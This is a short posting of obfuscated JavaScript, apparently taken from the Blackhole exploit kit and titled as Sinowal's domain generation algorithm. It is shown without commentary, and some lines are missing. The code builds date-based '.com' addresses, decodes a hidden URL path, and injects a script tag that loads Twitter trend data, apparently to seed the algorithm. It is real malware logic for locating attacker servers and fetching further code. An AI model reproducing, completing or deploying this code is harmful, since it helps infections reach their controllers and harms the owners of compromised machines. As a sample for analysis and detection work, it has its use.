Blackhole exploit kit domain generation algorithm of SInowal

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       var kx_m=Math.random().toString();
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     if(kx_k>8&&kx_k<21&&i.indexOf(' 07')>-1)
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       break
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     else if((kx_k<9||kx_k>20)&&i.indexOf(' 18')>-1)
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       break
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     kx_j['kx_J']=kx_E.getUTCMonth()+1;
     kx_j['kx_v']=kx_E.getUTCDate();
     var kx_y=new Array('dbs','ytn','vmt','vmr','mlc','oxk','fds','bvf','yus','mcp','ncz','gdw');
     var kx_o=new Array('a','b','c','d','e','f','g','h','j','i','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
     var kx_L=new Array(3,2,1,4,5,6,7,8,9);
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     kx_r=kx_o[(((kx_j['kx_g']&0xAA)+kx_u)%63)%26]+kx_o[(((kx_j['kx_g']&0xAA)<<2)+kx_u)%kx_rz];
     kx_z=kx_o[((((kx_j['kx_g']&0x3311)>>3)+kx_u)%10)]+kx_o[((((kx_j['kx_g']&0x3311)>>4)+kx_u)%10)];
     kx_q=kx_o[((kx_j['kx_J']+kx_u)%kx_rz)]+kx_o[((kx_j['kx_J']*kx_u)%kx_rz)];
     kx_b=kx_o[((kx_j['kx_v']*6)%27)];
     kx_R=kx_b=kx_o[((kx_j['kx_v']*kx_u)%24)];
     var kx_rs=[81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48];
     for(var i=0;i<kx_rs.length;i++)
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       kx_rs[i]=String.fromCharCode(i+kx_rs[i]+24)
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     var r='http://'+kx_b+kx_z+kx_q+kx_r+kx_R+kx_y[kx_j['kx_J']-1]+'.com/'+kx_rs.join('');
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       var kx_n=kx_A('script');
       kx_s.kx_B=kx_T.getElementsByTagName('head')[0];
       var kx_F=Math.random().toString();
       kx_n.setAttribute('src',"http://api.twitter.com/1/trends/daily.json?callback=window.kx_rg&rnd="+kx_F);
       kx_B.appendChild(kx_n)
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